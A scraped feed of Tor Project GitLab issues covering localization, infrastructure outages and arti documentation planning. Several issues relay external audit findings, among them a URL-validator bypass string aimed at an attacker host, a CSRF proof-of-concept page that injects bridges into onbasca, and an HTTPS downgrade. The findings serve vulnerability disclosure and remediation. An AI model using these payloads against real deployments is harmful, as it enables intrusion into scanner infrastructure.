The Tor Project issueshttps://gitlab.torproject.org/groups/tpo/-/issues2023-08-04T00:17:51Zhttps://gitlab.torproject.org/tpo/core/arti-doc-project-2023/-/issues/4Add new calendar that accommodate time before 8 PM UTC2023-08-04T00:17:51ZharletaAdd new calendar that accommodate time before 8 PM UTChttps://gitlab.torproject.org/tpo/core/arti-doc-project-2023/-/issues/3#note_2928598https://gitlab.torproject.org/tpo/core/arti-doc-project-2023/-/issues/3#note_2928598harletaharleta2023-08-07https://gitlab.torproject.org/tpo/team/-/issues/200report on s145 for July2023-08-07T18:36:14ZGabagaba@torproject.orgreport on s145 for July2023-08-07https://gitlab.torproject.org/tpo/team/-/issues/199Help with DRL proposals for Arti Relays and VPN2023-08-04T19:09:05ZGabagaba@torproject.orgHelp with DRL proposals for Arti Relays and VPNGabagaba@torproject.orgGabagaba@torproject.org2023-08-07https://gitlab.torproject.org/tpo/community/l10n/-/issues/40094Localize materials into Arabic, Chinese, Farsi & Swahili2023-09-06T15:45:21ZGabagaba@torproject.orgLocalize materials into Arabic, Chinese, Farsi & SwahiliIn the context of [sponsor 134](https://gitlab.torproject.org/groups/tpo/-/milestones/45#tab-issues) localize the following materials:
- [ ] [the Tor Project’s main website](https://hosted.weblate.org/projects/tor/tpo-web/) (torproject...In the context of [sponsor 134](https://gitlab.torproject.org/groups/tpo/-/milestones/45#tab-issues) localize the following materials:
- [ ] [the Tor Project’s main website](https://hosted.weblate.org/projects/tor/tpo-web/) (torproject.org)
- [x] Arabic: <img src="https://hosted.weblate.org/widgets/tor/ar/tpo-web/svg-badge.svg" alt="Translation status" />
- [x] Chinese: <img src="https://hosted.weblate.org/widgets/tor/zh_Hans/tpo-web/svg-badge.svg" alt="Translation status" />
- [ ] Persian: <img src="https://hosted.weblate.org/widgets/tor/fa/tpo-web/svg-badge.svg" alt="Translation status" />
- [x] Swahili: <img src="https://hosted.weblate.org/widgets/tor/sw/tpo-web/svg-badge.svg" alt="Translation status" />
- [x] censorship circumvention portals (gettor and bridges.torproject.org) - bridges is not available for translation yet
- [x] Arabic: <img src="https://hosted.weblate.org/widgets/tor/ar/gettor-website/svg-badge.svg" alt="Translation status" />
- [x] Chinese: <img src="https://hosted.weblate.org/widgets/tor/zh_Hans/gettor-website/svg-badge.svg" alt="Translation status" />
- [x] Persian: <img src="https://hosted.weblate.org/widgets/tor/fa/gettor-website/svg-badge.svg" alt="Translation status" />
- [x] Swahili: <img src="https://hosted.weblate.org/widgets/tor/sw/gettor-website/svg-badge.svg" alt="Translation status" />
- [x] the [Tor Browser manual](https://hosted.weblate.org/projects/tor/tor-browser-user-manual/)
- [x] Arabic: <img src="https://hosted.weblate.org/widgets/tor/ar/tor-browser-user-manual/svg-badge.svg" alt="Translation status" />
- [x] Chinese: <img src="https://hosted.weblate.org/widgets/tor/zh_Hans/tor-browser-user-manual/svg-badge.svg" alt="Translation status" />
- [x] Persian: <img src="https://hosted.weblate.org/widgets/tor/fa/tor-browser-user-manual/svg-badge.svg" alt="Translation status" />
- [x] Swahili: <img src="https://hosted.weblate.org/widgets/tor/sw/tor-browser-user-manual/svg-badge.svg" alt="Translation status" />
- [x] our [support portal](https://hosted.weblate.org/projects/tor/support-portal/)
- [x] Arabic: <img src="https://hosted.weblate.org/widgets/tor/ar/support-portal/svg-badge.svg" alt="Translation status" />
- [x] Chinese: <img src="https://hosted.weblate.org/widgets/tor/zh_Hans/support-portal/svg-badge.svg" alt="Translation status" />
- [x] Persian: <img src="https://hosted.weblate.org/widgets/tor/fa/support-portal/svg-badge.svg" alt="Translation status" />
- [x] Swahili: <img src="https://hosted.weblate.org/widgets/tor/sw/support-portal/svg-badge.svg" alt="Translation status" />
_Farsi translations will be done by Localization Lab, paid by Tor._
_Chinese, Arabic and Swahili will be done by Localization Lab, paid by IRI._Sponsor 134: Localizing Tor tools and documentation into Arabic, Chinese, and Swahiliemmapeelemmapeel2023-08-11https://gitlab.torproject.org/tpo/team/-/issues/184Write Final report for Sponsor 302023-08-30T15:52:17ZGabagaba@torproject.orgWrite Final report for Sponsor 30Will work on text here: https://pad.riseup.net/p/sponsor30-last-reportWill work on text here: https://pad.riseup.net/p/sponsor30-last-reportGabagaba@torproject.orgGabagaba@torproject.org2023-08-18https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40417Create platform-specific application icons2023-10-02T14:17:18ZAntonelaantonela@torproject.orgCreate platform-specific application iconsfrom RT: I was wondering if the icon for Tor Browser on macOS will be updated to fit with Big Sur and the new app icon guidelines: https://developer.apple.com/design/human-interface-guidelines/macos/icons-and-images/app-iconfrom RT: I was wondering if the icon for Tor Browser on macOS will be updated to fit with Big Sur and the new app icon guidelines: https://developer.apple.com/design/human-interface-guidelines/macos/icons-and-images/app-iconnicobnicob2023-08-18https://gitlab.torproject.org/tpo/tpa/team/-/issues/41176outage in gnt-dal cluster2023-10-03T02:40:28Zanarcatoutage in gnt-dal clusterit's not very clear what's happening right now but it looks like there's an ongoing outage in the ganeti dal cluster.
i'll try to document this the best i can, but for now i'll just open this issue.
pending issues:
- [x] telegram-bot ...it's not very clear what's happening right now but it looks like there's an ongoing outage in the ganeti dal cluster.
i'll try to document this the best i can, but for now i'll just open this issue.
pending issues:
- [x] telegram-bot not reachable
- [x] telegram-bot bacula crashing
- [x] static-shim down
- [x] tb-pkg-stage-01 down
- [x] redis liveness on crm-int-01 from crm-ext-01
- [x] ~~henryi systemd degraded~~ (unrelated)
- [x] ~~relay-01 NRPE socket timeout~~ (unrelated)
the symptom, on affected nodes, is that /etc/network/interfaces was corrupt. on `tb-pkgstage-01` the file simply a short series of `#` (ASCII 23) and nothing else. it was also marked as corrupt somehow in the filesystem, and inaccessible until a reboot (which failed and dropped in the initramfs, forcing a fsck). the fsck found the file as dead and moved it to `/lost+found` where it lies now.
current theory is a memory corruption error, followup tasks:
- [x] dal-node-03 memtest
- [x] dal-node-02 evac
- [x] dal-node-02 memtest
- [x] dal-node-01 evac
- [x] dal-node-01 memtest
- [x] rebalance cluster
- [x] [netconsole][] setup to send kernel logs do `dal-rescue-01`
- [x] DRBD verification test (`drbdsetup verify` and `--verify-alg`, @lavamind found issues on `gnt-dal` but *also* `gnt-fsn`)
- [x] cluster-wide DRBD verification (the above, but for all instances, to be automated in #41225)
- [x] enable `data-intergrity-alg` on a subset of the VMs, at least one VM per node
- [x] try to reproduce the issue again
- [x] fix network configuration on the switch (filed as a separate ticket #41226, reported to quintex)
- [x] move storage traffic to the intel NIC (`eth1` -> `eth3`)
[netconsole]: https://www.kernel.org/doc/html/latest/networking/netconsole.html
Current status: mitigation removed after network reconfiguration, watching for signs of recurrence
/cc @lavamindJérôme Charaouilavamind@torproject.orgJérôme Charaouilavamind@torproject.org2023-08-30https://gitlab.torproject.org/tpo/tpa/team/-/issues/41305renew harica TLS domains2023-08-30T17:36:25Zanarcatrenew harica TLS domainswe have been warned about the upcoming expiry of this domain:
DN: CN=yoaenchicimox2qdc47p36zm3cuclq7s7qxx6kvxqaxjodigfifljqqd.onion Serial: 74E8331B8C649B33777B816FD876553A
it expires on september 6th.
let's see if i can follow th...we have been warned about the upcoming expiry of this domain:
DN: CN=yoaenchicimox2qdc47p36zm3cuclq7s7qxx6kvxqaxjodigfifljqqd.onion Serial: 74E8331B8C649B33777B816FD876553A
it expires on september 6th.
let's see if i can follow the renewal procedure successfully. ideally, we'd automate this a little more...Jérôme Charaouilavamind@torproject.orgJérôme Charaouilavamind@torproject.org2023-09-06https://gitlab.torproject.org/tpo/tpa/team/-/issues/41304install new servers: tb-build-02 and tb-build-032023-10-23T14:46:11Zanarcatinstall new servers: tb-build-02 and tb-build-03to resolve disk space issues with tb-build-04 and -05 (#40964), configure two new machines in the gnt-dal cluster.
- [x] OOB access
- [x] network configuration (had to swap ports 3 and 4 on both hosts)
- [x] BIOS configuration
- [x] t...to resolve disk space issues with tb-build-04 and -05 (#40964), configure two new machines in the gnt-dal cluster.
- [x] OOB access
- [x] network configuration (had to swap ports 3 and 4 on both hosts)
- [x] BIOS configuration
- [x] tb-build-02
- [x] tb-build-03
- [x] IPMI password reset
- [x] tb-build-02
- [x] tb-build-03
- [x] grml boot
- [x] tb-build-02
- [x] tb-build-03
- [x] add to inventory
- [x] burn-in
- [x] tb-build-02
- [x] tb-build-03
- [x] basic Debian install
- [x] tb-build-02
- [x] tb-build-03
- [x] mandos
- [x] tb-build-02
- [x] tb-build-03
- [x] /srv RAID array
- [x] tb-build-02
- [x] tb-build-03
- [x] hand-off to team
- [x] tb-build-02
- [x] tb-build-03(next) cluster scalinganarcatanarcat2023-09-06https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/40944After #40931, updates_responses is using incremental.mar files as if they wer...2023-10-05T17:20:54ZPier Angelo VendrameAfter #40931, updates_responses is using incremental.mar files as if they were non-incremental mar filesI spotted a double dash in the incremental mars, e.g.:
- tor-browser-linux-x86_64--tbb-nightly.2023.09.02-tbb-nightly.2023.09.04_ALL.incremental.mar
- tor-browser-windows-x86_64--tbb-nightly.2023.09.03-tbb-nightly.2023.09.04_ALL.increme...I spotted a double dash in the incremental mars, e.g.:
- tor-browser-linux-x86_64--tbb-nightly.2023.09.02-tbb-nightly.2023.09.04_ALL.incremental.mar
- tor-browser-windows-x86_64--tbb-nightly.2023.09.03-tbb-nightly.2023.09.04_ALL.incremental.mar
- tor-browser-macos--tbb-nightly.2023.08.27-tbb-nightly.2023.08.28_ALL.incremental.mar
The same problem is also in .xml files:
- tbb-nightly.2023.09.05-linux-x86_64--tbb-nightly.2023.09.03-ALL.incremental.xml.
I haven't checked if the `.htaccess` are okay yet.boklmboklm2023-09-07https://gitlab.torproject.org/tpo/tpa/team/-/issues/40693upgrade alberti to bullseye ... er bookworm!2023-09-14T18:32:28Zanarcatupgrade alberti to bullseye ... er bookworm!alberti could be a tricky part, so it's not part of the large bullseye upgrade batches (#40690 or #40692).
just do the upgrade and see what happens, i guess, although while we're here, we might want to consider switching to bcrypt or ye...alberti could be a tricky part, so it's not part of the large bullseye upgrade batches (#40690 or #40692).
just do the upgrade and see what happens, i guess, although while we're here, we might want to consider switching to bcrypt or yescrypt for the mail password hashing (https://gitlab.torproject.org/tpo/tpa/team/-/issues/40492).Debian 11 bullseye upgradeanarcatanarcat2023-09-13https://gitlab.torproject.org/tpo/web/donate/-/issues/7Paypal "return to merchant" sends users to donate-api.tpo instead of donate.tpo2023-09-25T03:22:04Zal smithPaypal "return to merchant" sends users to donate-api.tpo instead of donate.tpoI tried to reproduce a donor's issue and found a different problem.
Using Tor Browser, I go to donate.torproject.org > enter a donation > select PayPal
From there, I go through the process to log in to PayPal (1 million captchas)
Once...I tried to reproduce a donor's issue and found a different problem.
Using Tor Browser, I go to donate.torproject.org > enter a donation > select PayPal
From there, I go through the process to log in to PayPal (1 million captchas)
Once I am in, I can get to the point where I select my credit card, and then an error message appears: "Something went wrong. Return to merchant website?" (Edited to add exact error message)
![Screen_Shot_2022-07-19_at_2.14.28_PM](/uploads/5c8602b8f7366f8732c765e6ad25cccc/Screen_Shot_2022-07-19_at_2.14.28_PM.png)
The link leads me to https://donate-api.torproject.org/?token=EC-71D4264140005233T instead of donate.torproject.org. Not only is donate-api the incorrect subdomain, it's also outdated, see screenshot:
![Screen_Shot_2022-07-19_at_1.51.02_PM](/uploads/19a32aa09ca149c7f2fef2018526c380/Screen_Shot_2022-07-19_at_1.51.02_PM.png)
@kez I recognize fixing donating over Tor is a larger project. But can you fix the erroneous link to our website?2023-09-16https://gitlab.torproject.org/tpo/network-health/metrics/website/-/issues/40097TOR-017 — website – Outdated Jetty version on metrics.torproject.org2023-10-19T17:43:11ZGeorg KoppenTOR-017 — website – Outdated Jetty version on metrics.torproject.orgTechnical description:
While performing a deep dive into the codebase of the Tor metrics website, we found that it uses an outdated Jetty version from 2015. However, with the Jetty server and codebase of the project, older dependencies ...Technical description:
While performing a deep dive into the codebase of the Tor metrics website, we found that it uses an outdated Jetty version from 2015. However, with the Jetty server and codebase of the project, older dependencies that suffer from publicly known security vulnerabilities are shipped. We then confirmed that the public site https://metrics.torproject.org/ uses a Jetty version from 2015 as shown in the HTTP response below.
**Request**
```
GET / HTTP/1.1
Host: metrics.torproject.org
Content-Length: 2
```
**Response**
```
HTTP/1.1 200 OK
Date: Thu, 27 Jul 2023 16:38:38 GMT
Server: Jetty(9.2.z-SNAPSHOT)
```
A more detailed specification of the probable Jetty version (9.2.21.v20170120) can be found in a public repository. In tpo/network-health/metrics/website/-/blob/master/build.xml:
```
<?xml version="1.0"?>
<project default="usage" name="metrics-web" basedir="."
xmlns:ivy="antlib:org.apache.ivy.ant">
<property name="javadoc-title" value="MetricsWeb API Documentation"/>
<property name="jetty.version" value="-9.2.21.v20170120" />
```
Impact:
Due to limited time, verifying the Jetty server for various known vulnerabilities, such as CVE-2021-28165 was not feasible. However, the impact of the known vulnerabilities can range from pre-auth denial of service to remote code execution.
Recommendation:
Upgrade the Jetty server to the latest version to prevent possible attacks on Tor's infrastructure.HiroHiro2023-09-21https://gitlab.torproject.org/tpo/network-health/sbws/-/issues/40165TOR-028 pen-project#28: sbws - HTTPS Downgrade Attack via HTTP redirects2023-10-19T15:42:58ZjugaTOR-028 pen-project#28: sbws - HTTPS Downgrade Attack via HTTP redirectsTechnical Description
The sbws scanner command builds circuits and measures relays' bandwidth by downloading/uploading data from destination entries in the config. However, multiple destinations can be defined, including services offeri...Technical Description
The sbws scanner command builds circuits and measures relays' bandwidth by downloading/uploading data from destination entries in the config. However, multiple destinations can be defined, including services offering download files. To perform a measurement, the function `timed_recv_from_server` is used to download a file from a destination and to track the elapsed time. The corresponding HTTP client was previously created using the `make_session` function and utilizes the `requests` library. However, this library follows HTTP redirects by default, which allows a malicious destination to redirect the client to another host and downgrade from HTTPS to HTTP.
For example, an attacker could downgrade another destination from HTTPS to HTTP while measuring the malicious destination. Each connection passes through Tor, allowing malicious exit-node operators to perform a man-in-the-middle attack between the exit node and the redirected destination because of the downgrade. This is especially critical if, for example, API tokens or other secret HTTP request headers are configured only for specific destinations. In the worst case, this can lead to leaked secrets and thus form the basis for further attacks.
**tpo/network-health/sbws/core/scanner.py**
```python
def timed_recv_from_server(session, dest, byte_range):
start_time = time.monotonic()
HTTP_GET_HEADERS["Range"] = byte_range
try:
session.get(dest.url, headers=HTTP_GET_HEADERS, verify=dest.verify)
```
**tpo/network-health/sbws/util/requests.py**
```python
class TimedSession(requests.Session):
def get(self, url, **kwargs):
return super().get(
url, timeout=getattr(self, "_timeout", None, ), **kwargs
)
def make_session(controller, timeout):
s = TimedSession()
socks_info = stem_utils.get_socks_info(controller)
s.proxies = {
"http": "socks5h://{}:{}".format(*socks_info),
"https": "socks5h://{}:{}".format(*socks_info),
}
s._timeout = timeout
s.headers = settings.HTTP_HEADERS
return s
```
Impact
Attackers controlling a destination could perform an HTTPS downgrade attack on HTTP, potentially allowing malicious exit nodes (the attacker) to leak secret tokens configured only for specific destinations. However, when writing this report, all destinations are treated equally, not giving attackers a significant advantage. But this may change in the future as this project evolves.
Recommendation
It is recommended to follow redirects only if desired and to ignore a redirect from HTTPS to HTTP.
Type
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')jugajuga2023-09-21https://gitlab.torproject.org/tpo/network-health/sbws/-/issues/40163TOR-003 pen-torproject#3: sbws - HTTPS enforcement can be bypassed with subdo...2023-10-19T15:44:55ZjugaTOR-003 pen-torproject#3: sbws - HTTPS enforcement can be bypassed with subdomainsTechnical Description
It was found that the HTTPS enforcement of destination endpoints can be bypassed with subdomains for instance, the URL `http://127.0.0.1.radicallyopensecurity.com` is valid.
**tpo/network-health/sbws/util/config.p...Technical Description
It was found that the HTTPS enforcement of destination endpoints can be bypassed with subdomains for instance, the URL `http://127.0.0.1.radicallyopensecurity.com` is valid.
**tpo/network-health/sbws/util/config.py**
```python
def _validate_url(section, key):
value = section[key]
url = urlparse(value)
[...]
if url.scheme != 'https' and not url.netloc.startswith('127.0.0.1'):
return False, 'URL scheme must be HTTPS (except for the test server)'
return True, ''
```
Impact
If attackers can configure a URL for a destination endpoint, bypassing HTTPS enforcement and using HTTP traffic is possible. As a result, a man-in-the-middle attack could be performed on the same network, and malicious exit nodes can manipulate HTTP traffic.
Recommendation
It is recommended to replace the second condition with `url.hostname == "127.0.0.1"` to have an exact match for the allowed URL.
Type
CWE-693: Protection Mechanism Failure
Update
The newly implemented check `url.netloc.split(":")[0] != "127.0.0.1"` can be bypassed with `http://127.0.0.1:@attacker.com`. Using the code snippet in the recommended section prevents this kind of bypass.jugajuga2023-09-21https://gitlab.torproject.org/tpo/network-health/onbasca/-/issues/162TOR-008 Pen-torproject#8: onbasca - CSRF via GET allows adding bridges on pro...2023-10-19T15:40:40ZjugaTOR-008 Pen-torproject#8: onbasca - CSRF via GET allows adding bridges on production configurationThe [commit](https://gitlab.torproject.org/tpo/network-health/onbasca/-/merge_requests/71/diffs?commit_id=ba028464b794a68764cafec6a5f6e93c2aa50044#b0c9b1e7215ec336ecacb37431093a273ed77fb2) did not fix the vulnerability because the bridge...The [commit](https://gitlab.torproject.org/tpo/network-health/onbasca/-/merge_requests/71/diffs?commit_id=ba028464b794a68764cafec6a5f6e93c2aa50044#b0c9b1e7215ec336ecacb37431093a273ed77fb2) did not fix the vulnerability because the bridge line is still passed via HTTP GET, which prevents Django Middleware's CSRF protection from taking effect.
The Onion Bandwidth Scanner (onbasca), suffers from a Cross-Site Request Forgery (CSRF) vulnerability via HTTP
GET. As a result, pre-authenticated attackers can inject bridges into the database.
Threat level: High
Technical description:
The create_bridges view parses the bridges passed via HTTP GET to bridge_lines and stores them in a database via the _create_bridge function.
In tpo/network-health/onbasca/onbrisca/views.py/views.py:
```
@csrf_exempt
def create_bridges(request):
[...]
if not request.method == "GET":
return JsonResponse(response_data, status=403) # Forbidden
if request.content_type == "application/json":
data = json.loads(request.body)
else:
data = dict(request.GET)
bridge_lines = data.get("bridge_lines", None)
[...]
for bridge_line in bridge_lines:
bridge_result = _create_bridge(bridge_line, mu, muf, bridge_ratio)
[...]
return response
```
The bridgescan command measures the bandwidth of the bridges stored in the database. For this Django management command, a bridgescan daemon is shipped as a systemd service file during the installation of
onbasca.
In tpo/network-health/onbasca/onbrisca/management/commands/bridgescan.py:
```
class Command(OnbascaCommand):
def handle(self, *args, **options):
scanner = BridgeScanner.load()
scanner.init(port=config.EXTERNAL_CONTROL_PORT)
scanner.run()
```
The set_bridgelines method obtains all bridges from the database via the bridges parameter, including the
attacker's previously added bridges. In the next step, the newly injected bridges are used to connect to the Tor network.
In tpo/network-health/onbasca/onbrisca/bridge_torcontrol.py:
```
class BridgeTorControl(TorControl):
def set_bridgelines(self, bridges):
bridgelines = Bridge.objects.bridgelines_from_bridges(bridges)
# Obtain first the bridges already set to do not set duplicated bridges
tor_bridgelines = self.controller.get_conf("Bridge", multiple=True)
new_bridgelines = set(bridgelines).difference(set(tor_bridgelines))
if new_bridgelines:
self.controller.set_conf("Bridge", new_bridgelines)
self.controller.set_conf("UseBridges", "1")
```
Proof of Concept
```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Nothing to see here :)</title>
</head>
<body>
<script>
function poc(){
try {
const response = fetch("http://127.0.0.1:8000/bridge-state/?
bridge_lines=obfs4+0.0.0.0%3A00000+AAA+cert%3D0+iat-mode%3D0");
if (!response.ok) {
alert("Network response was not OK");
}
} catch (error) {
alert("error")
console.error("There has been a problem with your fetch operation:", error);
}
}
</script>
<input type="button" value="RUN POC!" onclick="poc()"/>
</body>
</html>
```
Impact:
Attackers can lure Directory Authorities victims to their site and perform a successful CSRF attack as soon the victim's browser runs in the same network as onbasca. This is the case when the victim uses the Django web interface. As a result, pre-authenticated attackers can inject attacker-controlled IPs into the database. When the bridgescan command is invoked, which runs regularly, the onbasca application will connect to the attacker-controlled bridge. By doing this, attackers may be able to daemonize the hosted instance of onbasca or carry out further attacks.
Since onbasca is similar to the bandwidth scanner implementation of sbws, it's highly likely that onbasca is also affected by finding TOR-028.
Recommendation:
- Accept the bridge line via request.POST only, so the HTTP request must be a POST request.
- Then remove the @csrf_exempt decorator.
- Finally, enable the default Django CSRF middleware.
_Editing to add more information from the auditor's report._jugajuga2023-09-21https://gitlab.torproject.org/tpo/network-health/metrics/library/-/issues/40021TOR-021 — metrics-lib – Denial of service in DescriptorImpl getRawDescriptorB...2023-10-19T17:42:58ZGabagaba@torproject.orgTOR-021 — metrics-lib – Denial of service in DescriptorImpl getRawDescriptorBytes via descriptor fileThe metrics-lib is vulnerable to a DoS attack if attackers can pass it an arbitrary descriptor file.
The exploitation of this vulnerability leads to a denial of service. Depending on the usage, it can terminate the entire application tha...The metrics-lib is vulnerable to a DoS attack if attackers can pass it an arbitrary descriptor file.
The exploitation of this vulnerability leads to a denial of service. Depending on the usage, it can terminate the entire application that imports the metrics-lib if attackers have control over the contents of a descriptor file.
- Vulnerability type: CWE-789: Memory Allocation with Excessive Size Value
- Threat level: Moderate.
Recommendation: Catch the OutOfMemoryError exception thrown by the JVM and abort the whole parsing process.Georg KoppenGeorg Koppen2023-09-22https://gitlab.torproject.org/tpo/tpa/team/-/issues/41258materculae out of disk space2023-09-21T01:51:41ZKezmaterculae out of disk spaceprevious ticket: #40826
it's been a year, and nagios is complaining about materculae's /srv partition
```
# df -h /srv
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_materculae-srv 147G 135G 4.3G 97%...previous ticket: #40826
it's been a year, and nagios is complaining about materculae's /srv partition
```
# df -h /srv
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_materculae-srv 147G 135G 4.3G 97% /srv
```
in the previous ticket (#40826) @anarcat changed the warning threshold, which is why this warning popped up now.
according to grafana, the usage has only been about 15G in the past year, and the growth is linear. we could add another 20G and revisit in a year, or throw 40G or 60G at it to push things further down the road.
![image](/uploads/e8ddf8b69703273f73d891586f7fc137/image.png)anarcatanarcat2023-09-22https://gitlab.torproject.org/tpo/core/arti-doc-project-2023/-/issues/40Sitemap Revision2023-10-10T13:16:59ZharletaSitemap RevisionLink to sitemap:
https://drive.google.com/file/d/1EbLU4-NiTWhVIpGVZt4k9es2FB2ZjG3X/view?usp=sharing
Initial Feedback:
# Feedback on the site map
## General notes
### On entry points
I am thinking these are literally "entry points"—...Link to sitemap:
https://drive.google.com/file/d/1EbLU4-NiTWhVIpGVZt4k9es2FB2ZjG3X/view?usp=sharing
Initial Feedback:
# Feedback on the site map
## General notes
### On entry points
I am thinking these are literally "entry points"—that is, places
that we expect people to start looking for documentation when they
aren't sure where to find it?
If so:
* The `arti` crate itself is probably another entry point.
* I'm thinking that we should ensure that these all refer the reader to
the same information overview.
### On flexibility
I'm looking over this map under the assumption that it isn't too hard to
revise it later on in Arti's lifecycle as we add or remove pages, or
decide to split up a
category. Is that right? If so, great. If, on the other hand, this
map and these categories needs to be "set in stone", then we should
probably spend even more time on them.
(ahf comment: if we know now there are pages we don't need, then it
would be smarter to say it now so they don't spend time making them,
but i do think we have a lot of flexibility here)
(nickm: right; I was thinking about the case where we want to change something
down the road.)
### On external resources
Since we aren't planning to encompass all of the Tor Project's
documentation into a single site right now, we've got to refer to
external documents. With that in
mind, it probably makes sense to think about places where we'll
be referring to other documents in our universe of documents?
In particular, there are a couple of places where I think it makes sense
to call out to other teams' documents, including "More about Tor", and
"Tor Specifications".
## Specific suggestions
I think we might need a "getting started" section somewhere that
effectively asks the user what they want to do, and directs them to
the actual resources they need.
I think that someplace we should have instructions on how to configure
arti, and plan to have a more or less complete explanation of all our
options.
The "reference" section doesn't make a lot of sense to me; most of it is
just a list of development plans from the README. I think maybe that
could be a single section under a new object called "arti: development
status"?
IMO "Test coverage reports" could just get removed from our
documentation entirely.
"Safer Build Options" might belong under a "how to compile arti"
section, which might in turn go under "getting started"
Once we have an RPC API working, we'll probably want to split
"integrating/embedding arti" into "non-rust" and "rust" sections; the
story of how to do this will be very different.
"Using Arti as a Binary" might be thought of as a user manual for
arti-the-program.
It doesn't necessarily make a sense to have "rustdoc crate
documentation" under this hieararchy; we don't have control over how
that is built or laid out, or which parts of it are
## Some alternative categories
Here's my own attempt to make categories for this information. I'm
not on insisting on any aspect of this information architecture;
I'm mainly sharing it in hopes that it might inspire something.
{Diziet writes: I skimread this list and the organisational scheme
looks reasonable to me. I think some of this list may be quite
aspirational. On the whole I think I prefer Nick's information
architecture, below, to the proposal in the google doc.}
* Main arti documentation site
* About Arti
* What is Arti?
* Getting Started
* What to read next
* User guide
* Who is this guide for?
* Getting Arti
* Compiling from source
(Integrate "safer build")
* Using Arti: The bare minimum
* Starting Arti (as a proxy)
* Configuring your applications to use Arti
* Configuring arti
* Troubleshooting
* Basic topics
* Censorship circumvention
* Hosting an Onion Service
* What Arti can't do yet
* Running a relay (not implemented), write later
* CLI Reference manual
* Configuration reference manual
* Description of files on disk
* Integrating Arti
* Three options: RPC, in-Rust APIs, or custom wrappers.
- Which is right for you?
* Custom wrappers
- Compiling for Android
- Compiling for iOS
* Arti RPC (not implemented yet)
- ... there will be lots of stuff under this.
* Arti in Rust
* Understanding Arti's architecture (basics)
* Embedding Arti in a Rust program: tutorials
- Topics in Rust and where to learn more about them.
- Your first arti program: using TorClient to connect to a
website!
- Your second arti program: working with configuration!
- Your third arti program: Writing an onion service!
- More worked examples
- Links
* Where to find more information (links to rustdoc.)
* Contributing to Arti
* Getting started
* setting up your development environment
* fetching arti's source code
* running the tests
* submitting a patch
* code of conduct
* How to get in touch
* Project policies
* support policies
* semver conformance
* MSRV
* coding standards
* MR workflow conventions
* ...?
* Development documentation
* Project status
* planned milestones and their status
(if this even belongs here?)
* Arti's architecture overview
* Tutorials and topic-guides
* how to add new configuration options
* how to add a new crate
* how to expose a new API
* working with experimental features
* ensuring backward compatibility
* how we log
* error handling
* testing and mocking
* ... ?
* Developer tooling overview
* Working with coverage
* fuzzing
* benchmarking
* testing
* chutney
* shadow
* Design notes
* External resources
* Rustdoc documentation for top-level general use Arti crates
* Specifically, `arti`, `arti-client`, and `.
* Rustdoc documentation for special-purpose high-level crates
* Tor specifications
* Resources on the Tor websiteoluchinwenyioluchinwenyi2023-09-25https://gitlab.torproject.org/tpo/web/tpo/-/issues/386Rewrite rules for YEC 20232023-10-16T14:06:36Zal smithRewrite rules for YEC 2023We need to re-implement these rewrite rules we used last year for the YEC. You can see all of the rewrite rules we used here: https://gitlab.torproject.org/tpo/web/tpo/-/blob/main/assets/.htaccess#L113.
Purpose: knowing where people are...We need to re-implement these rewrite rules we used last year for the YEC. You can see all of the rewrite rules we used here: https://gitlab.torproject.org/tpo/web/tpo/-/blob/main/assets/.htaccess#L113.
Purpose: knowing where people are coming from when they click on donate.torproject.org helps us understand which tactics are successful.Year End Campaign 20232023-09-30